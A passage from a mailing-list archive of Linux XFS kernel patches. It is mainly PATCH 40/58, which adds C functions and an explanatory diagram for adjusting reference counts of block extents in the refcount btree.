+ b.rc_startblock = be32_to_cpu(r2->refc.rc_startblock); + b.rc_blockcount = be32_to_cpu(r2->refc.rc_blockcount); + b.rc_refcount = be32_to_cpu(r2->refc.rc_refcount); + trace_xfs_refcount_rec_order_error(cur->bc_mp, + cur->bc_private.a.agno, &a, &b); + } + + return ret; +} +#endif /* DEBUG */ + static const struct xfs_btree_ops xfs_refcountbt_ops = { .rec_len = sizeof(struct xfs_refcount_rec), .key_len = sizeof(struct xfs_refcount_key), .dup_cursor = xfs_refcountbt_dup_cursor, + .set_root = xfs_refcountbt_set_root, + .alloc_block = xfs_refcountbt_alloc_block, + .free_block = xfs_refcountbt_free_block, + .get_minrecs = xfs_refcountbt_get_minrecs, + .get_maxrecs = xfs_refcountbt_get_maxrecs, + .init_key_from_rec = xfs_refcountbt_init_key_from_rec, + .init_rec_from_key = xfs_refcountbt_init_rec_from_key, + .init_rec_from_cur = xfs_refcountbt_init_rec_from_cur, + .init_ptr_from_cur = xfs_refcountbt_init_ptr_from_cur, + .key_diff = xfs_refcountbt_key_diff, .buf_ops = &xfs_refcountbt_buf_ops, +#if defined(DEBUG) || defined(XFS_WARN) + .keys_inorder = xfs_refcountbt_keys_inorder, + .recs_inorder = xfs_refcountbt_recs_inorder, +#endif }; /** From darrick.wong@oracle.com Tue Oct 6 23:59:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 629CC7FB1 for ; Tue, 6 Oct 2015 23:59:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 28A948F8049 for ; Tue, 6 Oct 2015 21:59:46 -0700 (PDT) X-ASG-Debug-ID: 1444193981-04bdf020db0e570001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id qHHCY5kDjesWnfPB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:42 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xZWJ008343 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:36 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974xZmC009394 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:35 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974xZL5006557; Wed, 7 Oct 2015 04:59:35 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:34 -0700 Subject: [PATCH 40/58] libxfs: adjust refcount of an extent of blocks in refcount btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 40/58] libxfs: adjust refcount of an extent of blocks in refcount btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:33 -0700 Message-ID: <20151007045933.30457.81045.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193982 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Provide functions to adjust the reference counts for an extent of physical blocks stored in the refcount btree. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_refcount.c | 771 ++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount.h | 8 2 files changed, 779 insertions(+) diff --git a/fs/xfs/libxfs/xfs_refcount.c b/fs/xfs/libxfs/xfs_refcount.c index b3f2c25..02892bc 100644 --- a/fs/xfs/libxfs/xfs_refcount.c +++ b/fs/xfs/libxfs/xfs_refcount.c @@ -167,3 +167,774 @@ xfs_refcountbt_delete( out_error: return error; } + +/* + * Adjusting the Reference Count + * + * As stated elsewhere, the reference count btree (refcbt) stores + * >1 reference counts for extents of physical blocks. In this + * operation, we're either raising or lowering the reference count of + * some subrange stored in the tree: + * + * <------ adjustment range ------> + * ----+ +---+-----+ +--+--------+--------- + * 2 | | 3 | 4 | |17| 55 | 10 + * ----+ +---+-----+ +--+--------+--------- + * X axis is physical blocks number; + * reference counts are the numbers inside the rectangles + * + * The first thing we need to do is to ensure that there are no + * refcount extents crossing either boundary of the range to be + * adjusted. For any extent that does cross a boundary, split it into + * two extents so that we can increment the refcount of one of the + * pieces later: + * + * <------ adjustment range ------> + * ----+ +---+-----+ +--+--------+----+---- + * 2 | | 3 | 2 | |17| 55 | 10 | 10 + * ----+ +---+-----+ +--+--------+----+---- + * + * For this next step, let's assume that all the physical blocks in + * the adjustment range are mapped to a file and are therefore in use + * at least once. Therefore, we can infer that any gap in the + * refcount tree within the adjustment range represents a physical + * extent with refcount == 1: + * + * <------ adjustment range ------> + * ----+---+---+-----+-+--+--------+----+---- + * 2 |"1"| 3 | 2 |1|17| 55 | 10 | 10 + * ----+---+---+-----+-+--+--------+----+---- + * ^ + * + * For each extent that falls within the interval range, figure out + * which extent is to the left or the right of that extent. Now we + * have a left, current, and right extent. If the new reference count + * of the center extent enables us to merge left, center, and right + * into one record covering all three, do so. If the center extent is + * at the left end of the range, abuts the left extent, and its new + * reference count matches the left extent's record, then merge them. + * If the center extent is at the right end of the range, abuts the + * right extent, and the reference counts match, merge those. In the + * example, we can left merge (assuming an increment operation): + * + * <------ adjustment range ------> + * --------+---+-----+-+--+--------+----+---- + * 2 | 3 | 2 |1|17| 55 | 10 | 10 + * --------+---+-----+-+--+--------+----+---- + * ^ + * + * For all other extents within the range, adjust the reference count + * or delete it if the refcount falls below 2. If we were + * incrementing, the end result looks like this: + * + * <------ adjustment range ------> + * --------+---+-----+-+--+--------+----+---- + * 2 | 4 | 3 |2|18| 56 | 11 | 10 + * --------+---+-----+-+--+--------+----+---- + * + * The result of a decrement operation looks as such: + * + * <------ adjustment range ------> + * ----+ +---+ +--+--------+----+---- + * 2 | | 2 | |16| 54 | 9 | 10 + * ----+ +---+ +--+--------+----+---- + * DDDD 111111DD + * + * The blocks marked "D" are freed; the blocks marked "1" are only + * referenced once and therefore the record is removed from the + * refcount btree. + */ + +#define RLNEXT(rl) ((rl).rc_startblock + (rl).rc_blockcount) +/* + * Split a left rlextent that crosses agbno. + */ +STATIC int +try_split_left_rlextent( + struct xfs_btree_cur *cur, + xfs_agblock_t agbno) +{ + struct xfs_refcount_irec left, tmp; + int found_rec; + int error; + + error = xfs_refcountbt_lookup_le(cur, agbno, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &left, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + if (left.rc_startblock >= agbno || RLNEXT(left) <= agbno) + return 0; + + trace_xfs_refcount_split_left_extent(cur->bc_mp, cur->bc_private.a.agno, + &left, agbno); + tmp = left; + tmp.rc_blockcount = agbno - left.rc_startblock; + error = xfs_refcountbt_update(cur, &tmp); + if (error) + goto out_error; + + error = xfs_btree_increment(cur, 0, &found_rec); + if (error) + goto out_error; + + tmp = left; + tmp.rc_startblock = agbno; + tmp.rc_blockcount -= (agbno - left.rc_startblock); + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + return error; + +out_error: + trace_xfs_refcount_split_left_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Split a right rlextent that crosses agbno. + */ +STATIC int +try_split_right_rlextent( + struct xfs_btree_cur *cur, + xfs_agblock_t agbnext) +{ + struct xfs_refcount_irec right, tmp; + int found_rec; + int error; + + error = xfs_refcountbt_lookup_le(cur, agbnext - 1, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &right, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + if (RLNEXT(right) <= agbnext) + return 0; + + trace_xfs_refcount_split_right_extent(cur->bc_mp, + cur->bc_private.a.agno, &right, agbnext); + tmp = right; + tmp.rc_startblock = agbnext; + tmp.rc_blockcount -= (agbnext - right.rc_startblock); + error = xfs_refcountbt_update(cur, &tmp); + if (error) + goto out_error; + + tmp = right; + tmp.rc_blockcount = agbnext - right.rc_startblock; + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + return error; + +out_error: + trace_xfs_refcount_split_right_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Merge the left, center, and right extents. + */ +STATIC int +merge_center( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *left, + struct xfs_refcount_irec *center, + unsigned long long extlen, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen) +{ + int error; + int found_rec; + + error = xfs_refcountbt_lookup_ge(cur, center->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + if (center->rc_refcount > 1) { + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + } + + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + left->rc_blockcount = extlen; + error = xfs_refcountbt_update(cur, left); + if (error) + goto out_error; + + *aglen = 0; + return error; + +out_error: + trace_xfs_refcount_merge_center_extents_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Merge with the left extent. + */ +STATIC int +merge_left( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *left, + struct xfs_refcount_irec *cleft, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen) +{ + int error; + int found_rec; + + if (cleft->rc_refcount > 1) { + error = xfs_refcountbt_lookup_le(cur, cleft->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + } + + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + left->rc_blockcount += cleft->rc_blockcount; + error = xfs_refcountbt_update(cur, left); + if (error) + goto out_error; + + *agbno += cleft->rc_blockcount; + *aglen -= cleft->rc_blockcount; + return error; + +out_error: + trace_xfs_refcount_merge_left_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Merge with the right extent. + */ +STATIC int +merge_right( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *right, + struct xfs_refcount_irec *cright, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen) +{ + int error; + int found_rec; + + if (cright->rc_refcount > 1) { + error = xfs_refcountbt_lookup_le(cur, cright->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + } + + error = xfs_refcountbt_lookup_le(cur, right->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + right->rc_startblock -= cright->rc_blockcount; + right->rc_blockcount += cright->rc_blockcount; + error = xfs_refcountbt_update(cur, right); + if (error) + goto out_error; + + *aglen -= cright->rc_blockcount; + return error; + +out_error: + trace_xfs_refcount_merge_right_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Find the left extent and the one after it (cleft). This function assumes + * that we've already split any extent crossing agbno. + */ +STATIC int +find_left_extent( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *left, + struct xfs_refcount_irec *cleft, + xfs_agblock_t agbno, + xfs_extlen_t aglen) +{ + struct xfs_refcount_irec tmp; + int error; + int found_rec; + + left->rc_blockcount = cleft->rc_blockcount = 0; + error = xfs_refcountbt_lookup_le(cur, agbno - 1, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + if (RLNEXT(tmp) != agbno) + return 0; + /* We have a left extent; retrieve (or invent) the next right one */ + *left = tmp; + + error = xfs_btree_increment(cur, 0, &found_rec); + if (error) + goto out_error; + if (found_rec) { + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + if (tmp.rc_startblock == agbno) + *cleft = tmp; + else { + cleft->rc_startblock = agbno; + cleft->rc_blockcount = min(aglen, + tmp.rc_startblock - agbno); + cleft->rc_refcount = 1; + } + } else { + cleft->rc_startblock = agbno; + cleft->rc_blockcount = aglen; + cleft->rc_refcount = 1; + } + trace_xfs_refcount_find_left_extent(cur->bc_mp, cur->bc_private.a.agno, + left, cleft, agbno); + return error; + +out_error: + trace_xfs_refcount_find_left_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Find the right extent and the one before it (cright). This function + * assumes that we've already split any extents crossing agbno + aglen. + */ +STATIC int +find_right_extent( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *right, + struct xfs_refcount_irec *cright, + xfs_agblock_t agbno, + xfs_extlen_t aglen) +{ + struct xfs_refcount_irec tmp; + int error; + int found_rec; + + right->rc_blockcount = cright->rc_blockcount = 0; + error = xfs_refcountbt_lookup_ge(cur, agbno + aglen, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + if (tmp.rc_startblock != agbno + aglen) + return 0; + /* We have a right extent; retrieve (or invent) the next left one */ + *right = tmp; + + error = xfs_btree_decrement(cur, 0, &found_rec); + if (error) + goto out_error; + if (found_rec) { + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + if (tmp.rc_startblock == agbno) + *cright = tmp; + else { + cright->rc_startblock = max(agbno, + RLNEXT(tmp)); + cright->rc_blockcount = right->rc_startblock - + cright->rc_startblock; + cright->rc_refcount = 1; + } + } else { + cright->rc_startblock = agbno; + cright->rc_blockcount = aglen; + cright->rc_refcount = 1; + } + trace_xfs_refcount_find_right_extent(cur->bc_mp, cur->bc_private.a.agno, + cright, right, agbno + aglen); + return error; + +out_error: + trace_xfs_refcount_find_right_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} +#undef RLNEXT + +/* + * Try to merge with any extents on the boundaries of the adjustment range. + */ +STATIC int +try_merge_rlextents( + struct xfs_btree_cur *cur, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen, + int adjust) +{ + struct xfs_refcount_irec left, cleft, cright, right; + int error; + unsigned long long ulen; + + left.rc_blockcount = cleft.rc_blockcount = 0; + cright.rc_blockcount = right.rc_blockcount = 0; + + /* + * Find extents abutting the start and end of the range, and + * the adjacent extents inside the range. + */ + error = find_left_extent(cur, &left, &cleft, *agbno, *aglen); + if (error) + return error; + error = find_right_extent(cur, &right, &cright, *agbno, *aglen); + if (error) + return error; + + /* No left or right extent to merge; exit. */ + if (left.rc_blockcount == 0 && right.rc_blockcount == 0) + return 0; + + /* Try a center merge */ + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount + + right.rc_blockcount; + if (left.rc_blockcount != 0 && right.rc_blockcount != 0 && + memcmp(&cleft, &cright, sizeof(cleft)) == 0 && + left.rc_refcount == cleft.rc_refcount + adjust && + right.rc_refcount == cleft.rc_refcount + adjust && + ulen < MAXREFCEXTLEN) { + trace_xfs_refcount_merge_center_extents(cur->bc_mp, + cur->bc_private.a.agno, &left, &cleft, &right); + return merge_center(cur, &left, &cleft, ulen, agbno, aglen); + } + + /* Try a left merge */ + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount; + if (left.rc_blockcount != 0 && + left.rc_refcount == cleft.rc_refcount + adjust && + ulen < MAXREFCEXTLEN) { + trace_xfs_refcount_merge_left_extent(cur->bc_mp, + cur->bc_private.a.agno, &left, &cleft); + return merge_left(cur, &left, &cleft, agbno, aglen); + } + + /* Try a right merge */ + ulen = (unsigned long long)right.rc_blockcount + cright.rc_blockcount; + if (right.rc_blockcount != 0 && + right.rc_refcount == cright.rc_refcount + adjust && + ulen < MAXREFCEXTLEN) { + trace_xfs_refcount_merge_right_extent(cur->bc_mp, + cur->bc_private.a.agno, &cright, &right); + return merge_right(cur, &right, &cright, agbno, aglen); + } + + return error; +} + +/* + * Adjust the refcounts of middle extents. At this point we should have + * split extents that crossed the adjustment range; merged with adjacent + * extents; and updated agbno/aglen to reflect the merges. Therefore, + * all we have to do is update the extents inside [agbno, agbno + aglen]. + */ +STATIC int +adjust_rlextents( + struct xfs_btree_cur *cur, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + int adj, + struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo) +{ + struct xfs_refcount_irec ext, tmp; + int error; + int found_rec, found_tmp; + xfs_fsblock_t fsbno; + + error = xfs_refcountbt_lookup_ge(cur, agbno, &found_rec); + if (error) + goto out_error; + + while (aglen > 0) { + error = xfs_refcountbt_get_rec(cur, &ext, &found_rec); + if (error) + goto out_error; + if (!found_rec) { + ext.rc_startblock = cur->bc_mp->m_sb.sb_agblocks; + ext.rc_blockcount = 0; + ext.rc_refcount = 0; + } + + /* + * Deal with a hole in the refcount tree; if a file maps to + * these blocks and there's no refcountbt recourd, pretend that + * there is one with refcount == 1. + */ + if (ext.rc_startblock != agbno) { + tmp.rc_startblock = agbno; + tmp.rc_blockcount = min(aglen, + ext.rc_startblock - agbno); + tmp.rc_refcount = 1 + adj; + trace_xfs_refcount_modify_extent(cur->bc_mp, + cur->bc_private.a.agno, &tmp); + + /* + * Either cover the hole (increment) or + * delete the range (decrement). + */ + if (tmp.rc_refcount) { + error = xfs_refcountbt_insert(cur, &tmp, + &found_tmp); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, + found_tmp == 1, out_error); + } else { + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, + cur->bc_private.a.agno, + tmp.rc_startblock); + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, + tmp.rc_blockcount, oinfo); + } + + agbno += tmp.rc_blockcount; + aglen -= tmp.rc_blockcount; + + error = xfs_refcountbt_lookup_ge(cur, agbno, + &found_rec); + if (error) + goto out_error; + } + + /* Stop if there's nothing left to modify */ + if (aglen == 0) + break; + + /* + * Adjust the reference count and either update the tree + * (incr) or free the blocks (decr). + */ + ext.rc_refcount += adj; + trace_xfs_refcount_modify_extent(cur->bc_mp, + cur->bc_private.a.agno, &ext); + if (ext.rc_refcount > 1) { + error = xfs_refcountbt_update(cur, &ext); + if (error) + goto out_error; + } else if (ext.rc_refcount == 1) { + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, + found_rec == 1, out_error); + goto advloop; + } else { + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, + cur->bc_private.a.agno, + ext.rc_startblock); + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, + ext.rc_blockcount, oinfo); + } + + error = xfs_btree_increment(cur, 0, &found_rec); + if (error) + goto out_error; + +advloop: + agbno += ext.rc_blockcount; + aglen -= ext.rc_blockcount; + } + + return error; +out_error: + trace_xfs_refcount_modify_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Adjust the reference count of a range of AG blocks. + * + * @mp: XFS mount object + * @tp: XFS transaction object + * @agbp: Buffer containing the AGF + * @agno: AG number + * @agbno: Start of range to adjust + * @aglen: Length of range to adjust + * @adj: +1 to increment, -1 to decrement reference count + * @flist: freelist (only required if adj == -1) + * @owner: owner of the blocks (only required if adj == -1) + */ +STATIC int +xfs_refcountbt_adjust_refcount( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + int adj, + struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo) +{ + struct xfs_btree_cur *cur; + int error; + + cur = xfs_refcountbt_init_cursor(mp, tp, agbp, agno, flist); + + /* + * Ensure that no rlextents cross the boundary of the adjustment range. + */ + error = try_split_left_rlextent(cur, agbno); + if (error) + goto out_error; + + error = try_split_right_rlextent(cur, agbno + aglen); + if (error) + goto out_error; + + /* + * Try to merge with the left or right extents of the range. + */ + error = try_merge_rlextents(cur, &agbno, &aglen, adj); + if (error) + goto out_error; + + /* Now that we've taken care of the ends, adjust the middle extents */ + error = adjust_rlextents(cur, agbno, aglen, adj, flist, oinfo); + if (error) + goto out_error; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +out_error: + trace_xfs_refcount_adjust_error(mp, agno, error, _RET_IP_); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + +/** + * Increase the reference count of a range of AG blocks. + * + * @mp: XFS mount object + * @tp: XFS transaction object + * @agbp: Buffer containing the AGF + * @agno: AG number + * @agbno: Start of range to adjust + * @aglen: Length of range to adjust + * @flist: List of blocks to free + */ +int +xfs_refcount_increase( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + struct xfs_bmap_free *flist) +{ + trace_xfs_refcount_increase(mp, agno, agbno, aglen); + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, + aglen, 1, flist, NULL); +} + +/** + * Decrease the reference count of a range of AG blocks. + * + * @mp: XFS mount object + * @tp: XFS transaction object + * @agbp: Buffer containing the AGF + * @agno: AG number + * @agbno: Start of range to adjust + * @aglen: Length of range to adjust + * @flist: List of blocks to free + * @owner: Extent owner + */ +int +xfs_refcount_decrease( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo) +{ + trace_xfs_refcount_decrease(mp, agno, agbno, aglen); + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, + aglen, -1, flist, oinfo); +} diff --git a/fs/xfs/libxfs/xfs_refcount.h b/fs/xfs/libxfs/xfs_refcount.h index 033a9b1..6640e3d 100644 --- a/fs/xfs/libxfs/xfs_refcount.h +++ b/fs/xfs/libxfs/xfs_refcount.h @@ -26,4 +26,12 @@ extern int xfs_refcountbt_lookup_ge(struct xfs_btree_cur *cur, extern int xfs_refcountbt_get_rec(struct xfs_btree_cur *cur, struct xfs_refcount_irec *irec, int *stat); +extern int xfs_refcount_increase(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, + xfs_extlen_t aglen, struct xfs_bmap_free *flist); +extern int xfs_refcount_decrease(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, + xfs_extlen_t aglen, struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo); + #endif /* __XFS_REFCOUNT_H__ */ From darrick.wong@oracle.com Tue Oct 6 23:59:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3A5BD7FB3 for ; Tue, 6 Oct 2015 23:59:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2B59E304032 for ; Tue, 6 Oct 2015 21:59:49 -0700 (PDT) X-ASG-Debug-ID: 1444193987-04cb6c57860d560001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id lGiyfyrdd5SdpTJN (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:47 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xgb0008387 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:42 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974xfaa009612 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:41 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974xfN8003821; Wed, 7 Oct 2015 04:59:41 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:41 -0700 Subject: [PATCH 41/58] libxfs: adjust refcount when unmapping file blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 41/58] libxfs: adjust refcount when unmapping file blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:40 -0700 Message-ID: <20151007045940.30457.7139.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193987 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has 